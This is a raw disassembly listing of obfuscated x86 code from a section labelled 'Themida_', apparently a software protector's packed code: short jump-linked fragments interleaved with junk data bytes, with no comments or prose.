		mov	esp, [esp]


loc_56992B:				; CODE XREF: Themida_:00561D3Aj
		push	edx
		mov	edx, esp
		jmp	loc_561C3C
; ---------------------------------------------------------------------------
		db 87h
		dd 0D7874AD7h, 514FDFF7h, 0B65412B9h, 59CF3159h, 69EF814Fh
		dd 0E9D9F8D8h, 0FFFF84BCh
; ---------------------------------------------------------------------------


loc_569950:				; CODE XREF: Themida_:0055CE42j
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_56F99D
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFAC3EE9h, 48F54FFh, 7DE95624h, 29FFFF5Eh, 5DEA87D5h
		dd 85A3EA81h, 0D531B427h, 5A2434FFh, 0FF7691E9h, 48B66FFh
		dd 4EC8124h, 89000000h,	0E2892414h, 10F1BB53h, 0D2E9018Dh
		dd 83FFFFF8h, 8B042404h, 0C481243Ch, 4,	4C781h,	0EF810000h
		dd 4, 2474FF57h, 48F5F04h, 2C895C24h, 0E9E58924h, 0FFFF9ECFh
		dd 70BCC581h, 0CD814D05h, 24D83C6Fh, 0CDED814Dh, 195A6D2h
		dd 242C8BE9h, 4C481h, 24E90000h, 5FFFF42h, 4, 405h, 24048700h
		dd 2CEC805Ch, 0E965C280h, 71A2h, 2C0835Dh, 8B240487h, 4302424h
		dd 0ADE99C24h, 0E9FFFF2Ah, 0FFFF2AA8h, 8159CE31h, 0BC1169EAh
		dd 81F2014Bh, 0BC1169C2h, 24348B4Bh, 0FFDA0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569A3D:				; CODE XREF: Themida_:00570739j
		sub	edi, 52464E40h
		jmp	loc_56FACB
; ---------------------------------------------------------------------------
		dd 8B243C87h, 89662424h, 8B66241Ch, 0C481243Ch,	2, 241C8B66h
		dd 2C481h, 68660000h, 896648CDh, 73E9241Ch, 53000076h
		dd 0F06FE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A7A:				; CODE XREF: Themida_:0056451Ej
		mov	edi, [esp]
		jmp	loc_56A1F2
; ---------------------------------------------------------------------------


loc_569A82:				; CODE XREF: Themida_:005707AEj
		sub	esp, 4
		jmp	loc_567059
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 1
		dd 87000000h, 439CE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A9A:				; CODE XREF: Themida_:00570F83j
		mov	[esp], ebp
		push	edx
		jmp	loc_56D672
; ---------------------------------------------------------------------------
		db 54h
		dd 0A7BA525Dh, 813F830Ah, 2532F2h, 14E66831h, 4890000h
		dd 0A7E95124h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569ABF:				; CODE XREF: Themida_:0056736Cj
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		dd 0C781D7F7h, 78013118h, 0B46AC781h, 83E9136Dh, 1FFFF30h
		dd 95C581F5h, 5E578D3Fh, 0FF338CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569AE5:				; CODE XREF: Themida_:00561F6Bj
		push	esi
		jmp	loc_55D134
; ---------------------------------------------------------------------------
		db 81h
		dd 51F4A9EEh, 5EF129DBh, 0E4E7E981h, 0CB09D75Fh, 0A3EB8159h
		dd 817A6C4Ah, 67443DEAh, 81DA013Ah, 67443DC2h, 241C8B3Ah
		dd 4C481h, 55590000h, 8C67D3BDh, 0F82EE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569B26:				; CODE XREF: Themida_:005686BBj
		mov	edi, esp
		jmp	loc_56AAAA
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 47682434h, 89000010h, 68512424h, 4200h, 0BB241C89h
		dd 7BDF7813h, 2087F1B9h, 7586E984h, 0C5810000h,	4, 4EC81h
		dd 2EE90000h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569B67:				; CODE XREF: Themida_:0055E45Fj
		pop	ecx
		and	edi, 4F9C1A43h
		dec	edi
		jmp	loc_560404
; ---------------------------------------------------------------------------
		dd 5C242C87h, 0E9240429h, 553Dh, 0AF36C281h, 93E9334Eh
		dd 1FFFFB2h, 240C8BCFh,	4C481h,	0D4E90000h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569B9B:				; CODE XREF: Themida_:00562CBEj
		mov	[esp], ebx
		mov	ebx, 4
		push	edx
		mov	edx, 62C752FAh
		jmp	loc_565729
; ---------------------------------------------------------------------------
		dw 0F205h
		dd 48767F29h, 206BAA35h, 0E9505760h, 0FFFF7ECEh
; ---------------------------------------------------------------------------


loc_569BC0:				; CODE XREF: Themida_:0056E8B9j
		pop	edi
		mov	edi, ecx
		jmp	loc_564056
; ---------------------------------------------------------------------------


loc_569BC8:				; CODE XREF: Themida_:005681D2j
		mov	edx, esp
		jmp	loc_55D824
; ---------------------------------------------------------------------------


loc_569BCF:				; CODE XREF: Themida_:00563F7Dj
		sub	ebp, 18F58EDh
		mov	eax, ebp
		pop	ebp
		push	edx
		mov	edx, 371D3308h
		xor	edx, 56E96E3Fh
		sub	eax, edx
		jmp	loc_56CAD9
; ---------------------------------------------------------------------------
		db 89h
		dd 0F9B02404h, 0E958C130h, 0FFFF70E0h, 0A8E9FB29h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_569BFF:				; CODE XREF: Themida_:0055FEFFj
		not	edi
		xor	esi, edi
		xor	edi, esi
		jmp	loc_55E314
; ---------------------------------------------------------------------------
		dw 3C28h
		dd 0BCC4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569C12:				; CODE XREF: Themida_:00560F83j
		push	ecx
		mov	ecx, 66FC6AFCh
		xor	ebp, ecx
		jmp	loc_56A23D
; ---------------------------------------------------------------------------


loc_569C1F:				; CODE XREF: Themida_:0055EE22j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_55D65A
; ---------------------------------------------------------------------------
		dd 0FF289BE9h, 243487FFh, 5BDF015Ch, 8B243C87h,	30FF2424h
		dd 0FF2887E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569C45:				; CODE XREF: Themida_:0055E3B7j
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 46D12516h
		or	eax, 217E652Eh
		push	esi
		mov	esi, 64EC065Bh
		jmp	loc_56F032
; ---------------------------------------------------------------------------
		dd 5AFBCB81h, 0E3816C2Fh, 6F50438Fh, 7DD7BD55h,	81453BF8h
		dd 0F120A3F5h, 0BEFCE918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569C82:				; CODE XREF: Themida_:0055F090j
		or	edi, 153B3EC6h
		jmp	loc_56D84F
; ---------------------------------------------------------------------------
		db 5Bh,	29h, 0E8h
		dd 4C1FA32Dh, 2434FF1Ah, 83242C8Bh, 0C48304C4h,	3C386804h
		dd 14890000h, 3D18E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569CAE:				; CODE XREF: Themida_:0056517Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56CE50
; ---------------------------------------------------------------------------


loc_569CC3:				; CODE XREF: Themida_:0056E72Ej
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2A0454A7h
		add	esi, ebx
		jmp	loc_55FBBE
; ---------------------------------------------------------------------------
		db 89h,	0CDh, 0FFh
		dd 0C8B2434h, 32F3E924h, 0B7530000h, 0E9CFFEB6h, 0FFFF5C18h
		dd 705CE95Ah, 0E95BFFFFh, 0FFFF3F72h, 0E9241C8Bh, 0FFFFDA9Dh
		dd 5324048Bh, 0C381E389h, 4, 70E95351h,	5FFFFF80h, 1305BD55h
		dd 0D5F766E0h, 8749CD87h, 1AC581CDh, 2DC76E26h,	348155D4h
		dd 67BEE9h, 0E9585D00h,	2F17h, 4C781h, 5DE90000h, 100002Fh
		dd 2434FFEEh, 0E189515Dh, 4C181h, 0C1830000h, 240C8704h
		dd 5724248Bh, 4373A5BFh, 6517E929h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569D7E:				; CODE XREF: Themida_:0056255Aj
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_55CF13
; ---------------------------------------------------------------------------
		dd 311AE781h, 0BE5646A4h, 0
		dd 4CE9FE29h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569D9F:				; CODE XREF: Themida_:00560D33j
		pop	eax
		pop	edi
		mov	edi, eax
		pop	eax
		jmp	loc_570096
; ---------------------------------------------------------------------------
		db 0BFh, 3Ah, 26h
		dd 0EF814989h, 56769B9Ah, 64B1C181h, 0F9293CB6h, 56D7E9h
		dd 242C8B00h, 4C481h, 0E7C10000h, 0A18DE906h, 0EEC1FFFFh
		dd 8076803h, 4890000h, 7922B824h, 0CE353A7Eh, 52277215h
		dd 163C4EBAh, 0E998E90Ch, 7A2DFFFFh, 0E930E22Eh, 0FFFF7D83h
		dd 58286788h, 5E27E95Ah, 0E630FFFFh, 8BF00058h,	0C4832414h
		dd 15866804h, 0F9E90000h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569E1B:				; CODE XREF: Themida_:0056604Cj
		add	[esp+4], edx
		pop	edx
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 117725B0h
		shr	eax, 2
		not	eax
		jmp	loc_5661AD
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 2CD7h, 0B33DE956h, 0B151FFFFh, 99F18046h
		dd 4FE5166h, 0C0596624h, 44E905E9h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569E5B:				; CODE XREF: Themida_:0055CFD4j
		add	ecx, 51CC70DCh
		jmp	loc_56D193
; ---------------------------------------------------------------------------
		dw 489h
		dd 1858B824h, 0A50571F1h, 9F9274Eh, 0EB8158C3h,	1, 8106B951h
		dd 36E99046h, 1FFFFE4h,	1410E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569E8E:				; CODE XREF: Themida_:0056CE44j
		push	212h
		mov	[esp], edx
		jmp	loc_56DD0C
; ---------------------------------------------------------------------------


loc_569E9B:				; CODE XREF: Themida_:0055C86Fj
		mov	eax, [esp]
		jmp	loc_562299
; ---------------------------------------------------------------------------
		db 89h
		dd 0C80158C1h, 0BB535759h, 5C970466h, 0BFFCEB81h, 0DF891AC4h
		dd 6E7C15Bh, 1E9D7F7h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569EC3:				; CODE XREF: Themida_:0056E56Fj
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_565C5C
; ---------------------------------------------------------------------------


loc_569ECD:				; CODE XREF: Themida_:0056D58Cj
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5633AC
; ---------------------------------------------------------------------------
		dd 1FEE685Dh, 34890000h, 4D3C6824h, 0FEE90000h,	31000006h
		dd 1C33241Ch, 24248B24h, 5E08950h, 4, 42Dh, 24048700h
		dd 2414895Ch, 0EA9E9h
		db 0
; ---------------------------------------------------------------------------


loc_569F0D:				; CODE XREF: Themida_:00565070j
		add	edx, 2BE955D2h
		sub	edx, edi
		sub	edx, 2BE955D2h
		jmp	loc_560B00
; ---------------------------------------------------------------------------


loc_569F20:				; CODE XREF: Themida_:0056DAF4j
		pop	ebx
		add	ecx, 1
		neg	ecx
		jmp	loc_560209
; ---------------------------------------------------------------------------
		db 81h
		dd 1BAE26F1h, 59CB3181h, 6946E981h, 0D90170EDh,	6946C181h
		dd 1C8B70EDh, 4C48124h,	83000000h, 55E904C1h, 81FFFF69h
		dd 4C5h, 4C58300h, 5C242C87h, 68240C8Bh, 0BEBh,	83240489h
		dd 8F5404ECh, 4812404h,	424h, 24048B00h, 23CC68h, 24048900h
		dd 0B946E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F8A:				; CODE XREF: Themida_:0056917Fj
		add	esp, 4
		push	320Ah
		jmp	loc_567D96
; ---------------------------------------------------------------------------
		db 2Dh
		dd 6B5C03B3h, 0FF3878E9h, 242C33FFh, 0FFA1A6E9h, 0F3315FFFh
		dd 8324348Bh, 1C6804C4h, 0E900002Dh, 6Dh, 676ACB81h, 0EB815561h
		dd 0CF17F0A7h, 295BDD89h, 327E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569FD2:				; CODE XREF: Themida_:00563060j
		mov	esp, [esp]
		push	2B3Ch
		mov	[esp], ebp
		push	17DCh
		mov	[esp], edi
		push	5DB6h
		mov	[esp], edx
		push	0C2817C4h
		mov	edx, [esp]
		add	esp, 4
		add	edx, 46502960h
		sub	edx, 52784120h
		push	esi
		mov	esi, edx
		mov	edi, esi
		pop	esi
		pop	edx
		mov	ebp, edi
		jmp	loc_564A77
; ---------------------------------------------------------------------------


loc_56A012:				; CODE XREF: Themida_:0056D50Dj
		pop	esp
		shr	ecx, 0Ah
		jmp	loc_56D61E
; ---------------------------------------------------------------------------
		db 81h
		dd 84F832EEh, 4E6C1DFh,	5C8FE9h, 241C8900h, 5524048Bh
		dd 0FF7960E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A035:				; CODE XREF: Themida_:00569816j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_567F66
; ---------------------------------------------------------------------------
		db 81h
		dd 0F11C28CAh, 97C2811Fh, 810BE637h, 1DE9B5C2h,	8BD50154h
		dd 0C4832414h, 2C58104h, 33000000h, 2C31242Ch, 242C3324h
		dd 6624248Bh, 6824048Bh, 793h, 0FF5C3EE9h, 81E389FFh, 4ECh
		dd 24348900h, 3778B850h, 4A0D4C02h, 0D697D3Ah, 5F876246h
		dd 0FFB765E9h, 0E9525AFFh, 3AC2h, 68241C89h, 2095h, 0E9240489h
		dd 0FFFFF158h, 0E9DBF743h, 0FFFFE965h, 0E9242C31h, 0FFFFDAD5h
		dd 240C8B66h, 0FF7E34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A0CD:				; CODE XREF: Themida_:0055F7D2j
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4DF5945h, 295EF001h,	59452DE8h, 34FF04DFh, 0C4815D24h
		dd 4, 0FF2A95E9h, 241C89FFh, 0EB80D2B3h, 0F565E901h, 0E181FFFFh
		dd 1F947BBDh, 3361C181h, 0BE567946h, 9808731Eh,	1167E981h
		dd 2EE94B4Ch, 1FFFF7Fh,	815E5DE8h, 316E4CC6h, 6F06E932h
		dd 8B660000h, 2C682414h, 89000072h, 0FCE9243Ch,	0F7FFFF74h
		dd 0E9CE87D1h, 1318h
; ---------------------------------------------------------------------------


loc_56A158:				; CODE XREF: Themida_:0056EAFCj
		push	edx
		jmp	loc_55ED5F
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 83000000h,	505304C4h, 361CFE68h, 0D8F75824h
		dd 4210BF57h, 0B4E944DDh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A17F:				; CODE XREF: Themida_:0055EB13j
		push	edx
		mov	edx, 3DC13B79h
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0D5CAC399h
		add	edi, eax
		pop	eax
		add	ebp, edi
		pop	edi
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, edx
		pop	edx
		xor	ebx, eax
		push	5D7Fh
		mov	[esp], edx
		mov	dl, 0A2h
		jmp	loc_5640F4
; ---------------------------------------------------------------------------
		dd 0E907EAC1h, 0FFFF82E2h, 8124148Bh, 4C4h, 0F520E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A1CE:				; CODE XREF: Themida_:00570982j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56F37A
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0F24248Bh, 9C2404A3h, 0FF22E3E9h, 2434FFFFh,	55AEE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A1F2:				; CODE XREF: Themida_:00569A7Dj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_564845
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0CA882414h, 0FF6B4EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A211:				; CODE XREF: Themida_:00561C75j
		pop	edx
		or	dl, ch
		jmp	loc_5706FE
; ---------------------------------------------------------------------------
		db 2Ch,	0B2h, 0
aS_9		db 'ьИф+',0
		align 2


loc_56A222:				; CODE XREF: Themida_:00563246j
		push	edx
		mov	edx, 70AD23DCh
		add	edx, 69893165h
		neg	edx
		sub	edx, 25C9AABBh
		add	ebp, edx
		jmp	loc_56609D
; ---------------------------------------------------------------------------


loc_56A23D:				; CODE XREF: Themida_:00569C1Aj
		mov	ecx, [esp]
		add	esp, 4
		or	ebp, 0BEF52B7h
		xor	ebp, 2E7E1586h
		push	ecx
		mov	ecx, 6609717Dh
		shl	ecx, 1
		sub	ecx, 0FF97240h
		sub	ecx, 95064A0Bh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_567303
; ---------------------------------------------------------------------------


loc_56A26B:				; CODE XREF: Themida_:00567C09j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56CC72
; ---------------------------------------------------------------------------


loc_56A285:				; CODE XREF: Themida_:0056E743j
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4687262Bh
		sub	ebp, 779246Ah
		xor	ebp, 2CD6E3Dh
		jmp	loc_5696DE
; ---------------------------------------------------------------------------
		dd 80F5CE80h, 0EC8074EEh, 80F40025h, 885A25C4h,	0EAC058E2h
		dd 6951E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A2C6:				; CODE XREF: Themida_:0056065Cj
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_565704
; ---------------------------------------------------------------------------


loc_56A2E1:				; CODE XREF: Themida_:0056C543j
		mov	[esp], eax
		push	6FECh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_566713
; ---------------------------------------------------------------------------
		db 5Dh,	66h, 8Fh
		dd 21CAE900h, 0BD55FFFFh, 4, 4246C81h, 589757B0h, 4246C81h
		dd 2D6A40EEh, 4246C01h,	4244481h, 2D6A40EEh, 57B0BD55h
		dd 66E95897h, 87FFFFEBh, 248B242Ch, 52E95524h, 0F6000045h
		dd 0C0C180D1h, 5259CC28h, 0F388E688h, 8124148Bh, 4C4h
		dd 24048B00h, 4C483h, 285B66D8h, 8BC22CD8h, 0C483241Ch
		dd 6C1EE904h, 0E9570000h, 0FFFF604Ch, 0D56314B9h, 57F18147h
		dd 0E90D1E45h, 0FFFF585Ah, 8106EAC1h, 3E2047F2h, 5AD10100h
		dd 5DFFE9h, 24048F00h, 8324248Bh, 44E904C4h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A39F:				; CODE XREF: Themida_:005602E9j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_55FC61
; ---------------------------------------------------------------------------

locret_56A3AD:				; CODE XREF: Themida_:0056AFE7j
		retn
; ---------------------------------------------------------------------------
		dw 19E9h
		dd 81FFFF21h, 5707BAC9h, 30D1E93Eh, 0EB80FFFFh,	80CB287Ah
		dd 0F597AC3h, 34FFC0B6h, 8B23E987h, 0E389FFFFh,	8904EC83h
		dd 4B9240Ch, 0E9000000h, 0FFFF6C03h
; ---------------------------------------------------------------------------


loc_56A3E4:				; CODE XREF: Themida_:0055FBA7j
		xor	ebp, 76E66DA0h
		neg	ebp
		jmp	loc_56D29F
; ---------------------------------------------------------------------------


loc_56A3F1:				; CODE XREF: Themida_:0056FB9Cj
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_56FEBF
; ---------------------------------------------------------------------------


loc_56A3FD:				; CODE XREF: Themida_:0056C3CDj
		push	edx
		mov	dl, 0F4h
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 45h
		add	dl, bh
		pop	ebx
		xor	dl, 16h
		push	ecx
		mov	cl, dl
		push	eax
		mov	al, cl
		push	ecx
		push	ebx
		jmp	loc_561DFF
; ---------------------------------------------------------------------------
		dw 0D0F6h
aS8c		db '$>,%И8c',0
		dd 26E95200h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A42F:				; CODE XREF: Themida_:0056E233j
		push	0AA3h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5610A6
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 0FF84A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A449:				; CODE XREF: Themida_:0056598Dj
		add	ebp, 0EBB096Ch
		sub	eax, 343B40EBh
		add	eax, ebp
		add	eax, 343B40EBh
		pop	ebp
		jmp	loc_56C75E
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aIuh		db '┴Цhа}',0
		dw 8900h
		dd 0BF57240Ch, 28E81D9Ah, 415FF989h, 63CA68h, 672E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A482:				; CODE XREF: Themida_:005658CBj
		pop	esp
		mov	[esp], eax
		jmp	loc_56380D
; ---------------------------------------------------------------------------


loc_56A48B:				; CODE XREF: Themida_:0056E55Cj
		pop	edx
		xor	edx, 2DC50885h
		push	dword ptr [esp]
		pop	ebp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		push	6520h
		mov	[esp], esi
		mov	esi, 65B3821h
		xor	esi, 3C3102CBh
		sub	esp, 4
		jmp	loc_55E1A1
; ---------------------------------------------------------------------------


loc_56A4BB:				; CODE XREF: Themida_:005621DAj
		mov	edx, [esp]
		jmp	loc_55F2C4
; ---------------------------------------------------------------------------
		db 89h
		dd 33E9240Ch
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A4CB:				; CODE XREF: Themida_:00568153j
		shl	esi, 2
		jmp	loc_567B0E
; ---------------------------------------------------------------------------
		db 66h
		dd 6677ED68h, 66240489h, 6FE95253h, 0ADFFFF78h,	0BF575657h
		dd 425272FAh, 773EF781h, 0FE8909BDh, 3EEC15Fh, 81FFC683h
		dd 0B5A050EEh, 0E9F789B3h, 0FFFF7C73h, 0E904EC83h, 0FFFFC990h
; ---------------------------------------------------------------------------


loc_56A510:				; CODE XREF: Themida_:0055FBF2j
		mov	ebp, 4
		mov	eax, ebp
		pop	ebp
		mov	edi, eax
		jmp	loc_5656F9
; ---------------------------------------------------------------------------
aIchl_		db '┴ФhL_',0
		align 2
		dw 0C89h
		dd 4E95324h, 28FFFF5Ah,	5A5A66F3h, 0C380F300h, 2434FF29h
		dd 0E924148Bh, 0FFFFC3FBh, 8924248Bh, 94BF243Ch, 5011921Bh
		dd 583C68h, 24348900h, 3C08E9h,	24B1BD00h, 0ED810170h
		dd 8516F49Eh, 0FF568AE9h, 3CEA81FFh, 81283F5Eh,	85E807F2h
		dd 8BD18998h, 0C4832414h, 730AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A586:				; CODE XREF: Themida_:0056D562j
		sub	ebp, 2D4D6CF0h
		shl	ebp, 4
		dec	ebp
		push	ecx
		mov	ecx, 8B7D8001h
		add	ebp, ecx
		jmp	loc_55E5E7
; ---------------------------------------------------------------------------
		db 68h,	0BDh, 1Ah
		dd 6BE90000h, 81FFFFA4h, 2B008FC3h, 0C3815F29h,	4C92FDBDh
		dd 295BD901h, 0FB0159CFh, 7DE1685Fh, 0C890000h,	4B924h
		dd 0BBE90000h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A5CF:				; CODE XREF: Themida_:00568044j
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_55FD5E
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 66CE197Ch, 0FFBBD3E9h, 241489FFh, 2589E9h
		dd 240C8900h, 0EDC0BCB5h, 3DC6E908h, 3489FFFFh,	1FFABE24h
		dd 0C7E9242Bh, 0B2FFFFF7h, 53D2F660h, 0DFF65DB7h, 80CDC780h
		dd 0FA08EAEFh, 0FEC2805Bh, 0FFD054E9h, 0BF575BFFh, 0CCD5E67h
		dd 0F7DFF74Fh, 55EF81DFh, 1DE2C12h, 0CB015FFBh,	4C11EB81h
		dd 6FE92EA1h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A647:				; CODE XREF: Themida_:00563E67j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56840F
; ---------------------------------------------------------------------------


loc_56A657:				; CODE XREF: Themida_:005657B3j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 66AE17D4h
		pop	edx
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_56CA34
; ---------------------------------------------------------------------------


loc_56A66E:				; CODE XREF: Themida_:00561158j
		mov	esi, esp
		jmp	loc_56502E
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0F624248Bh, 3E5BE9E1h, 0D328FFFFh, 0EB285A66h, 6698C380h
		dd 83240C8Bh, 0B60F02C4h, 48F66C0h, 1E2EE987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A69E:				; CODE XREF: Themida_:00568F61j
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56C222
; ---------------------------------------------------------------------------
		dw 2D5Eh
		dd 4A447D05h, 0DD249C2Dh, 5F8017Bh, 7BDD249Ch, 447D0505h
		dd 53BD554Ah, 2D00D56Eh, 2425786Eh, 6E05E801h, 0FF242578h
		dd 2C8B2434h, 38BAE924h, 89520000h, 4B850E2h, 1000000h
		dd 0EC8358C2h, 243C8904h, 6346B850h, 2548320Eh,	77BB31A0h
		dd 0F7D0F748h, 9A8BE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A706:				; CODE XREF: Themida_:00561D10j
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	dh, 0AEh
		mov	ch, dh
		pop	edx
		mov	dh, 0F2h
		add	dh, ch
		pop	ecx
		push	31Ah
		mov	[esp], ebx
		jmp	loc_55E80B
; ---------------------------------------------------------------------------
		dw 3489h
		dd 6F59BE24h, 5052113Dh, 722EF7B8h, 0B90E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A736:				; CODE XREF: Themida_:0055D569j
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_56EE92
; ---------------------------------------------------------------------------


loc_56A750:				; CODE XREF: Themida_:0056CD61j
		push	ecx
		mov	ecx, 0
		sub	ecx, 6EB23F53h
		jmp	loc_56488C
; ---------------------------------------------------------------------------
		db 0BAh, 3Ch, 38h
		dd 0CA811C3Ch, 2CB0330Fh, 3D9BE956h, 0EB810000h, 4, 0FFAF00E9h
		dd 0C6F181FFh, 0C17BB57Eh, 3AE904E9h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A78B:				; CODE XREF: Themida_:00570AE2j
		push	esi
		mov	esi, 53C72E59h
		or	esi, 1C9D107Eh
		jmp	loc_568F52
; ---------------------------------------------------------------------------
aSdw		db '!йИ╓W',0
		db 0
; ---------------------------------------------------------------------------


loc_56A7A3:				; CODE XREF: Themida_:0055D703j
		add	eax, edx
		add	eax, 2A7537A1h
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_56F94B
; ---------------------------------------------------------------------------
		dd 373968h, 4EC8300h, 83242489h, 8F042404h, 55532404h
		dd 0EC72B9BDh, 0C1DDF71Dh, 0ED8104E5h, 0AE00AC1h, 574FED81h
		dd 0C5817843h, 61EA8DA4h, 15DEB89h, 5B04245Ch, 0E9241C8Bh
		dd 0FFFFC616h
; ---------------------------------------------------------------------------


loc_56A818:				; CODE XREF: Themida_:00561B9Ej
		push	ebx
		mov	ebx, 73583761h
		inc	ebx
		jmp	loc_56394E
; ---------------------------------------------------------------------------
aAsAAas6s	db '(а─И"─а──И6И╪+',0
		align 4
		dd 4917E950h, 0E3C10000h, 3CE38104h, 8137712Fh,	70051CEBh
		dd 5BD90131h, 861DE952h, 7C01FFFFh, 0A9E90424h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A85B:				; CODE XREF: Themida_:0056D356j
		xor	esi, [esp]
		jmp	loc_570938
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 24048F04h, 0D324248Bh, 0E99C2424h, 0FFFF1C54h
; ---------------------------------------------------------------------------


loc_56A878:				; CODE XREF: Themida_:00564051j
		mov	edx, 4
		add	ecx, edx
		jmp	loc_567BE1
; ---------------------------------------------------------------------------
		dd 0FF1C43E9h, 4C481FFh, 33000000h, 3BE92404h, 81FFFFE6h
		dd 4C4h, 66D02800h, 0B652665Ah,	0ABE95277h
